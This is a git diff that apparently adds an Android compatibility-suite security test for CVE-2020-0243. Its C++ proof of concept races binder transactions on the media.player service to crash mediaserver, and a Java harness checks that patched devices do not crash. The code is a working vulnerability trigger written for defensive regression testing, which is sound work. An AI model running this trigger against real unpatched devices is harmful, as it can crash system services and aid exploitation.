diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0243/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0243/Android.bp
new file mode 100644
index 0000000..f45207f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0243/Android.bp
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2020-0243",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libutils",
+        "libbinder",
+        "libutilscallstack",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0243/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0243/poc.cpp
new file mode 100644
index 0000000..dba6a01
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0243/poc.cpp
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/Parcel.h>
+#include <binder/IServiceManager.h>
+#include "../includes/common.h"
+
+using namespace android;
+
+typedef struct ThreadParams {
+    sp<IBinder> service;
+} ThreadParams;
+
+static void *thread_getParameter(void *p) {
+    ThreadParams *params = (ThreadParams *) p;
+    int err;
+    time_t currentTime = start_timer();
+    while (timer_active(currentTime)) {
+        Parcel data, reply;
+        data.writeInterfaceToken(params->service->getInterfaceDescriptor());
+        int key = (('m') << 24 | ('t') << 16 | ('r') << 8 | ('X'));
+        data.writeInt32(key);
+        err = params->service->transact(/*GET_PARAMETER_ID*/ 31, data, &reply, 0);
+        if (err == EPIPE) {
+            break;
+        }
+        usleep(5000);
+    }
+    return nullptr;
+}
+
+int main() {
+    status_t err;
+    sp < IServiceManager > sm = defaultServiceManager();
+    String16 name(String16("media.player"));
+    sp < IBinder > service = sm->checkService(name);
+    sp < IBinder > binder = nullptr;
+    if (not service) {
+        return EXIT_FAILURE;
+    }
+
+    String16 interface_name = service->getInterfaceDescriptor();
+    Parcel data, reply;
+    data.writeInterfaceToken(interface_name);
+    data.writeStrongBinder(new BBinder());
+    for (int i = 0; i < 1024; ++i)
+        data.writeInt32(1);
+    if (service) {
+        err = service->transact(/*CREATE_ID*/ 1, data, &reply, 0);
+        binder = reply.readStrongBinder();
+    }
+
+    if (not binder) {
+        return EXIT_FAILURE;
+    }
+
+    pthread_t t1, t2;
+
+    ThreadParams *params = new ThreadParams();
+    params->service = binder;
+    pthread_create(&t1, nullptr, thread_getParameter, params);
+    pthread_create(&t2, nullptr, thread_getParameter, params);
+
+    time_t currentTime = start_timer();
+    while (timer_active(currentTime)) {
+        if (not binder) {
+            break;
+        }
+        Parcel data, reply;
+        data.writeInterfaceToken(binder->getInterfaceDescriptor());
+        data.writeStrongBinder(binder);
+        err = binder->transact(/*SET_DATA_SOURCE_URL_ID*/ 2, data, &reply, 0);
+        if (err == EPIPE) {
+            break;
+        }
+        usleep(500000);
+    }
+
+    pthread_join(t1, nullptr);
+    pthread_join(t2, nullptr);
+    delete params;
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
new file mode 100644
index 0000000..4c2b91d
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0243.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import com.android.compatibility.common.util.CrashUtils;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0243 extends SecurityTestCase {
+
+    /**
+     * b/151644303
+     * Vulnerability Behaviour: SIGSEGV in mediaserver
+     */
+    @SecurityTest(minPatchLevel = "2020-08")
+    @Test
+    public void testPocCVE_2020_0243() throws Exception {
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2020-0243", getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns("mediaserver");
+        testConfig.config.checkMinAddress(false);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
